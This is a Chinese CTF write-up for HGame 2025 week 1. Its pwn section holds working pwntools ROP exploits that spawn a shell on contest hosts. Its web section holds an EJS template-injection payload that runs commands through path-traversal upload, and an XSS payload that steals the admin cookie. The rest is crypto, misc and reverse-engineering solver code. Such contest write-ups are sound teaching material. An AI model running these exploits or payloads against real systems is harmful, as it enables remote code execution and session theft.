HGame CTF 2025 week1 wp

队伍名称:顾白

队伍ID:0002e1

成绩:33

week1基本每个方向都差一道,week1结束时是十来名,week2没有精力做了

签到

> TEST NC

nc到靶机即可

image-20250206164514995

> 从这里开始的序章。

image-20250206170849792

CRYPTO

> ezBag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from sage.all import MixedIntegerLinearProgram, vector
from Crypto.Cipher import AES
import hashlib

# 已知数据
list_data = [
[2826962231, 3385780583, 3492076631, ...], # 省略
[2241199309, 3658417261, 3032816659, ...],
[4263404657, 3176466407, 3364259291, ...],
[2844773681, 3852689429, 4187117513, ...]
]
bag = [123342809734, 118191282440, 119799979406, 128273451872]
ciphertext = b'\x1d6\xcc}\x07\xfa7G\xbd\x01\xf0P4^Q"\x85\x9f\xac\x98\x8f#\xb2\x12\xf4+\x05`\x80\x1a\xfa !\x9b\xa5\xc7g\xa8b\x89\x93\x1e\xedz\xd2M;\xa2'

# 构建整数线性规划模型
mip = MixedIntegerLinearProgram(maximization=False)
# 定义 64 个二进制变量 x[0..63],代表 p 的各二进制位
x = mip.new_variable(binary=True, indices=range(64))

# 对应四组背包和约束:sum_{j=0..63} x_j * list_data[i][j] = bag[i]
for i in range(4):
mip.add_constraint(
sum(x[j] * list_data[i][j] for j in range(64)) == bag[i]
)

# 开始求解
mip.solve()

# 获取解并还原 p
solution_bits = [int(round(mip.get_values(x[j]))) for j in range(64)]
p = 0
for j in reversed(range(64)):
p = (p << 1) | solution_bits[j]

# 用 p 的字符串形式做 key
key = hashlib.sha256(str(p).encode()).digest()

# AES ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)

print(plaintext)

> sieve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from tqdm import tqdm
e = 65537
n = e^2//6
def sum_totients_with_progress(n):
phi = list(range(n + 1)) # 初始化 phi[i] = i
phi_sum = [0] * (n + 1) # 存储前缀和
primes = []
is_prime = [True] * (n + 1)

# 使用 tqdm 添加进度条
for i in tqdm(range(2, n + 1), desc="Calculating Totients"):
if is_prime[i]: # i 是质数
primes.append(i)
phi[i] = i - 1

# 用所有之前找到的质数来筛选 i 的倍数
for p in primes:
if i * p > n:
break
is_prime[i * p] = False
if i % p == 0: # p 是 i 的因子
phi[i * p] = phi[i] * p
break
else:
phi[i * p] = phi[i] * (p - 1)

# 计算前缀和
phi_sum[i] = phi_sum[i - 1] + phi[i]

return phi_sum[n]

# 运行示例
n = 715849728 # 计算 2 到 10^6 之间的欧拉函数和,并显示进度
result = sum_totients_with_progress(n)
print(f"Sum of totients from 2 to {n}: {result}")

from sympy import primepi

n = 715849728
count = primepi(n)
print(count)
p = q = nextprime((result+count+1)<<128)
# print(155763335410704471+37030583+1)
# print(nextprime(155763335447735055<<128))
p = q = 53003516465655400667707442798277521907437914663503790163
phi = (p-1)*q
d = inverse(e,phi)
m = pow(enc,d,p*q)
print(long_to_bytes(m))

MISC

> Hakuya Want A Girl Friend

附件为文件的16进制原始数据,导出为,是一个压缩包,但是需要密码

image-20250206164841289

010打开查看,最后发现 GNP ,猜测十六进制逆序可以看到png图片

image-20250206165658236

使用工具 FileReverse-Tools 对文件反转,并重命名 .png

image-20250206165416523

爆破宽高得到解压密码 To_f1nd_th3_QQ

image-20250206165522148

解压得到flag(需调整格式)

image-20250206165753599

> Level 314 线性走廊中的双生实体

下载模型文件,查看安全层代码

image-20250206170222108

尝试传入张量来满足条件,但总是失败,于是将 _0 改为 True,重新打包模型,传入任意张量得到flag

image-20250206170659586

> Computer cleaner

根据提示,查看上传的 shell.php,查到 flag_part1 hgame{y0u_

image-20250206171504942

查看上传日志

image-20250206171654769

猜测 121.41.34.25 为攻击者ip,浏览器访问该ip得到 flag_part2 hav3_cleaned_th3

image-20250206171751994

日志最后一条记录攻击者查询了 ~/Documents/flag_part3,查看此文件得到 flag_part3 _c0mput3r!}

image-20250206171929050

拼接,hgame{y0u_hav3_cleaned_th3_c0mput3r!}

PWN

> counting petals

数组越位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc=ELF('./libc.so.6')

p = remote('node2.hgame.vidar.club', '31149')
# p=process('./vuln')
# gdb.attach(p, 'b *$rebase(0x13c8)')
p.recvuntil(b'How many flowers have you prepared this time?')
p.sendline(b'16')

for i in range(15):
p.recvuntil(b'the flower number ')
p.sendline(b'20')

p.recvuntil(b'the flower number ')

t=0x7ffffffc00000014-0x8000000000000000

p.sendline(str(t).encode())

for i in range(4+15):
p.recvuntil(b'the flower number ')
p.sendline(b'0')

t=0x2000000020
p.recvuntil(b'the flower number ')
p.sendline(str(t).encode())

p.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ')
p.sendline(b'1')

p.recvuntil(b'Let\'s look at the results.\n')
enc=list(map(int,p.recvline()[:-3].decode().replace(' ','').split('+')))
print(enc)

libc_start_main=enc[18]-128
log.success(hex(libc_start_main))
libc_base = libc_start_main-0x29d10
log.success('libc_base: '+hex(libc_base))
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

p.recvuntil(b'How many flowers have you prepared this time?')

p.sendline(b'16')

for i in range(15):
p.recvuntil(b'the flower number ')
p.sendline(b'20')

t=0x1200000016
p.recvuntil(b'the flower number ')
p.sendline(str(t).encode())

p.recvuntil(b'the flower number ')
p.sendline(str(libc_base+0x29139).encode())

p.recvuntil(b'the flower number ')
p.sendline(str(libc_base+0x2a3e5).encode())

p.recvuntil(b'the flower number ')
p.sendline(str(binsh).encode())

p.recvuntil(b'the flower number ')
p.sendline(str(system).encode())


p.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ')
p.sendline(b'1')


p.interactive()

> format

格式化字符串泄露buf地址,-1溢出后跳回printf(buf)泄露libc信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
elf = ELF('./vuln')
bss = 0x404050
ret = 0x40101a
# p = process('./vuln')
p = remote('node1.hgame.vidar.club',30506)
# gdb.attach(p, 'b *0x4011CC')

p.recvuntil(b'n = ')
p.sendline(b'1')

p.recvuntil(b'type something:')
p.sendline("%p")

p.recvuntil(b'0x')
buf = int(p.recvuntil(b'y', drop=True), 16)+0x2138+0x10

log.success(f'buf: {hex(buf)}')

p.recvuntil(b'n = ')
p.send(b'-1')

# p.recvuntil(b'type something:')
payload = b'a'*5+p64(buf-0x18)+p64(0x4012CF)+b'%3$p'
p.send(payload)

p.recvuntil(b'0x')
read_addr = int(p.recvuntil(b'\xff', drop=True), 16)-18
log.success(f'read_addr: {hex(read_addr)}')
libc_base = read_addr-libc.sym['read']
log.success(f'libc_base: {hex(libc_base)}')

rdi = libc_base+0x2a3e5
log.success(f'rdi: {hex(rdi)}')
system = libc_base+libc.sym['system']
log.success(f'system: {hex(system)}')
binsh = libc_base+next(libc.search(b'/bin/sh'))
log.success(f'binsh: {hex(binsh)}')


payload = b'a'*4+p64(buf-0x18)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendline(payload)

p.interactive()

RE

> Compress dot new

霍夫曼编码解压缩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import json

def build_decoder_tree(huffman_tree):
def parse_tree(node):
if 's' in node:
return node['s']
left = parse_tree(node['a'])
right = parse_tree(node['b'])
return {'0': left, '1': right}
return parse_tree(huffman_tree)

def decode_bits(bits, decoder_tree):
decoded = []
current = decoder_tree
for bit in bits:
if isinstance(current, int):
decoded.append(current)
current = decoder_tree
current = current[bit]
if isinstance(current, int):
decoded.append(current)
return bytes(decoded)

def decompress(compressed_data):
tree_json, bit_string = compressed_data.split('\n')
huffman_tree = json.loads(tree_json)
decoder_tree = build_decoder_tree(huffman_tree)
decoded = decode_bits(bit_string, decoder_tree)
return decoded

with open('enc.txt', 'r') as f:
compressed_data = f.read()
decompressed = decompress(compressed_data)
with open('flag.txt', 'wb') as f:
f.write(decompressed)
print(decompressed.decode())

> Turtle

使用dbg脱upx(魔改过)

发现大跳转,打断点,fix后rebuild

f074feb48adc6f1e5b696d6305874de8

bdab6f5f942f8470a0c94a7544ef63f6

image-20250206183018559

sub_401550 为 KSA
加密密钥为Buf2

解密key:

1
2
3
4
5
Buf2[0] = -51;
Buf2[1] = -113;
Buf2[2] = 37;
Buf2[3] = 61;
Buf2[4] = -31;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def rc4_ksa(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) % 256
s[i], s[j] = s[j], s[i]
return s
# 解密Key
key_ksa = b'yekyek'
cipher_key = bytes([0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A])
s = rc4_ksa(key_ksa)
key_stream = rc4_prga(s, len(cipher_key))
plain_key = bytes([cipher_key[i] ^ key_stream[i] for i in range(7)])
print(f"Key: {plain_key}")

解密flag时的KSA用到 Dest ,也就是第一次rc4的key (plain_key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def rc4_ksa(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) % 256
s[i], s[j] = s[j], s[i]
return s

def rc4_prga(s, length):
i = 0
j = 0
key_stream = []
s = s.copy()
for _ in range(length):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) % 256]
key_stream.append(k)
return key_stream

# 解密Key
key_ksa = b'yekyek'
cipher_key = bytes([0xCD, 0x8F, 0x25, 0x3D, 0xE1, 0x51, 0x4A])

s = rc4_ksa(key_ksa)
key_stream = rc4_prga(s, len(cipher_key))
plain_key = bytes([cipher_key[i] ^ key_stream[i] for i in range(7)])
print(f"Key: {plain_key}")

# 解密Flag
cipher_flag = bytes([
0xF8, 0xD5, 0x62, 0xCF, 0x43, 0xBA, 0xC2, 0x23,
0x15, 0x4A, 0x51, 0x10, 0x27, 0x10, 0xB1, 0xCF,
0xC4, 0x09, 0xFE, 0xE3, 0x9F, 0x49, 0x87, 0xEA,
0x59, 0xC2, 0x07, 0x3B, 0xA9, 0x11, 0xC1, 0xBC,
0xFD, 0x4B, 0x57, 0xC4, 0x7E, 0xD0, 0xAA, 0x0A
])

s_flag = rc4_ksa(plain_key)
key_stream_flag = rc4_prga(s_flag, len(cipher_flag))
plain_flag = bytes([(cipher_flag[i] + key_stream_flag[i]) % 256 for i in range(40)])
print(f"Flag: {plain_flag.decode()}")

> 尊嘟假嘟

随便点点app发现在log里输出了,每次都是60字符,结尾大概率有“33”(最后发现是魔改base64换标然后把==替换成33了好像)

3817bcf401ef1e430d07d29ba1b9292f

首先分析一下apk,有一个DexCall类,加载了两个so文件,并且用so处理并复制一个dex到私有路径并加载dex,调用一个方法后删除dex。

jadx

还有个toast类,里面有个native的check方法jadx

1
2
 check(this.mycontext, (String) DexCall.callDexMethod(this.mycontext, this.mycontext.getString(R.string.dex), this.mycontext.getString(R.string.classname), this.mycontext.getString(R.string.func1), s));
//这里的字符串都可以在resources.arsc里找到,

比如this.mycontext.getString(R.string.dex)​在resources.arsc​里的com.nobody.zunjia/string/string.xml

mt管理器

复原后就是

1
(String) DexCall.callDexMethod("zunjia.dex""com.nobody.zundujiadu", "encode", s);

在apk里确实有assets/zunjia.dex​,但是格式错误,因为dex被加密,解密在zunjia.so里实现

ida

这里暂时没必要分析,只需要知道zunjia,so用于解密dex即可。

那么显然check函数是关键,在check.so里实现,,注意一点传入的字符串先经过dex加密了一次。

分析check.so

image

image

5fe3e77b428470ace2ddce2bc8915ef1

找到加密的地方了,这里标出了encode的函数,以及密文

1
[0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30, 0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83, 0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD, 0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B, 0x46, 0x5E, 0x95]

首先用传参处理固定key,然后用key处理(解密)一段字符,最后再调用dex的encode方法将结果log输出。

将他转换成py就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def encode(a1, keys):
a_len = len(a1)
v6 = 0
v5 = 0
a1_bytes = bytearray(a1)
for i in range(a_len):
v6 = (v6 + keys[v6 + 1]) % 256
keys[v6], keys[v5] = keys[v5], keys[v6]
a1_bytes[i] ^= keys[(keys[v6] + keys[v5]) % 256]
a1_list = list(a1_bytes)
a1_modified = bytes(a1_bytes)
return a1_list

def enkeys(a1):
keys = list(range(256))
result = len(a1)
var1 = bytearray(256)
for j in range(256):
var1[j] = ord(a1[j % result])
var2 = 0
for k in range(256):
var3 = (var2 + keys[k] + var1[k]) & 0xFF
var2 = var3
keys[k], keys[var3] = keys[var3], keys[k]
return keys

于是我们就理清了加密逻辑,输入->调dex函数->so加密密钥->so魔改rc4->调dex函数

由于check函数不check,我们就需要自己爆破了

由题目可知,是0.o和o.0的组合,最大不超过36个字符,只需要模拟它的加密过程并判断有没有hgame开头的flag即可

这里dex加密还没解决,于是我突发奇想,用相同包名,复制它的代码,自己写个app即可调用dex方法。

包名用com.nobody.zunjia​,将dex和so放在assets和jniLibs里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
│  AndroidManifest.xml

├─assets
│ zunjia.dex

├─java
│ └─com
│ └─nobody
│ └─zunjia
│ DexCall.java
│ Encoder.java
│ MainActivity.java
│ toast.java

├─jniLibs
│ ├─arm64-v8a
│ │ libcheck.so
│ │ libzunjia.so
│ │
│ ├─armeabi-v7a
│ │ libcheck.so
│ │ libzunjia.so
│ │
│ ├─x86
│ │ libcheck.so
│ │ libzunjia.so
│ │
│ └─x86_64
│ libcheck.so
│ libzunjia.so

这里我们用java实现一些上述python的算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.nobody.zunjia;

import java.util.ArrayList;
import java.util.List;

public class Encoder {

// 实现加密功能,使用 RC4 算法的 PRGA 部分
public static byte[] encode(List<Integer> a1, List<Integer> keys) {
int aLen = a1.size();
// 初始化 PRGA 中的 i 和 j
int i = 0;
int j = 0;

// 将输入的整数列表转换为字节列表,便于后续操作
List<Byte> a1Bytes = new ArrayList<>();
for (int val : a1) {
a1Bytes.add((byte) val);
}

// 遍历输入的每个字节
for (int index = 0; index < aLen; index++) {
// 更新 i 的值,确保在 0 - 255 范围内
i = (i + 1) % 256;
// 更新 j 的值,确保在 0 - 255 范围内
j = (j + keys.get(i)) % 256;

// 交换 keys[i] 和 keys[j] 的值
int temp = keys.get(i);
keys.set(i, keys.get(j));
keys.set(j, temp);

// 计算异或操作的索引
int xorIndex = (keys.get(i) + keys.get(j)) % 256;
// 对当前字节进行异或操作
byte xorResult = (byte) (a1Bytes.get(index) ^ keys.get(xorIndex));
// 更新当前字节的值
a1Bytes.set(index, xorResult);
}

// 将字节列表转换为字节数组
byte[] byteArray = new byte[a1Bytes.size()];
for (int index = 0; index < a1Bytes.size(); index++) {
byteArray[index] = a1Bytes.get(index);
}

return byteArray;
}

// 实现 RC4 算法的 KSA 部分,生成初始的密钥流
public static List<Integer> enkeys(String a1) {
// 初始化密钥列表,范围从 0 到 255
List<Integer> keys = new ArrayList<>();
for (int i = 0; i < 256; i++) {
keys.add(i);
}

// 初始化 j 的值
int j = 0;
// 获取密钥字符串的长度
int keyLength = a1.length();

// 遍历 0 到 255 的索引
for (int i = 0; i < 256; i++) {
// 更新 j 的值,确保在 0 - 255 范围内
j = (j + keys.get(i) + (a1.charAt(i % keyLength) & 0xFF)) % 256;

// 交换 keys[i] 和 keys[j] 的值
int temp = keys.get(i);
keys.set(i, keys.get(j));
keys.set(j, temp);
}

return keys;
}
}

优化一下dexcall类,防止爆破时候爆缓存,只读取和解密一次dex。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.nobody.zunjia;


import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class DexCall {
private static File dexFile;
private static DexClassLoader dexClassLoader;

static native File copyDexFromAssets(Context context, String str, File file);

static {
System.loadLibrary("zunjia");
System.loadLibrary("check");
}

public static void init(Context context, String dexFileName) {
File dexDir = new File(context.getCacheDir(), "dex");
if (dexDir.mkdir() || dexDir.setWritable(true)) {
dexFile = copyDexFromAssets(context, dexFileName, dexDir);
if (dexFile != null && dexFile.exists() && dexFile.setReadOnly()) {
dexClassLoader = new DexClassLoader(
dexFile.getAbsolutePath(),
dexDir.getAbsolutePath(),
null,
context.getClassLoader()
);
}
}
}

public static void cleanup() {
if (dexFile != null && dexFile.exists()) {
dexFile.delete();
}
}

public static Object callDexMethod(String className, String methodName, Object input) {
if (dexClassLoader == null) {
throw new IllegalStateException("DexClassLoader not initialized. Call init() first.");
}

try {
Class<?> targetClass = dexClassLoader.loadClass(className);
Constructor<?> constructor = targetClass.getConstructor();
constructor.setAccessible(true);
Object instance = constructor.newInstance();
Method targetMethod = targetClass.getMethod(methodName, input.getClass());
return targetMethod.invoke(instance, input);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

在main里爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 		DexCall.init(this,"zunjia.dex");

for (int length = 1; length < 13; length++) {

for (int i = 0; i < (int) Math.pow(2, length); i++) {

String binaryStr = Integer.toBinaryString(i);

while (binaryStr.length() < length) {
binaryStr = "0" + binaryStr;
}
String abStr = binaryStr.replace("0", "0.o").replace("1", "o.0");

if (superEncode(abStr).contains("hgame")) {
Log.d("-----------------",superEncode(abStr));
Log.d("000000000000000000000",abStr);
break;
}



}
}



public String superEncode(String s) {
String a = (String) DexCall.callDexMethod( "com.nobody.zundujiadu", "encode", s);
List<Integer> keys = Encoder.enkeys(a); // 调用 Encoder.enkeys
List<Integer> input_string = Arrays.asList(0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30, 0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83, 0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD, 0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B, 0x46, 0x5E, 0x95);
return new String(Encoder.encode(input_string, keys)); // 调用 Encoder.encode
}

运行一次app,然后在log里即可看到flag

fc3c4ca1c6950827fb261c6f4e5bfcd9

当然优化的dexcall函数让dex就解密了在私有路径下/data/user/0/com.nobody.zunjia/cache/dex/zunjia.dex

也就可以自己实现他的算法爆破了。

WEB

> Level 24 Pacman

控制台改分

image-20250206174256238

游戏结束得到base64编码

image-20250206174349691

base64解码 + 栅栏2栏 得到flag

image-20250206174552723

> Level 47 BandBomb

文件上传,分析下js

1
2
3
4
5
6
7
8
9
10
11
12
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

multer默认情况下会保留原始文件名,可能存在路径遍历漏洞,导致文件被上传到其他目录

1
app.set('view engine', 'ejs');

上传的文件被当作EJS模板渲染的话,会有模板注入漏洞

所以攻击思路为:上传一个包含恶意代码的EJS文件,通过向/rename发post改名,通过路径遍历改到views目录,访问目标网站

exp.ejs:

1
2
3
<%= 
global.process.mainModule.constructor._load('child_process').execSync('env')
%>

上传

image-20250210113420068

发送post

image-20250210113607578

刷新网页,得到flag

image-20250210113645630

> Level 69 MysteryMessageBoard

根据提示,爆出admin session并替换,访问/flag即可得到flag

image-20250206175054048

bp抓包,Sniper爆破得到密码为 888888

image-20250206180344181

image-20250206180428694

发现留言框有xss漏洞

image-20250206180652296

使用Fetch API来发送cookie

1
2
3
4
5
6
7
8
9
<script>
fetch('/comments/new', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'comment=Admin+Cookie:+'+encodeURIComponent(document.cookie)
}).then(response => console.log('Cookie Sent!'));
</script>

提交评论,刷新后出现了自己的cookie,但是需要admin的cookie

image-20250206181722012

访问 /admin,提示 admin 访问了留言板,得到 admin cookie

image-20250206181824997

image-20250206181905337

修改自身cookie,访问 /flag ,得到flag

image-20250206182005015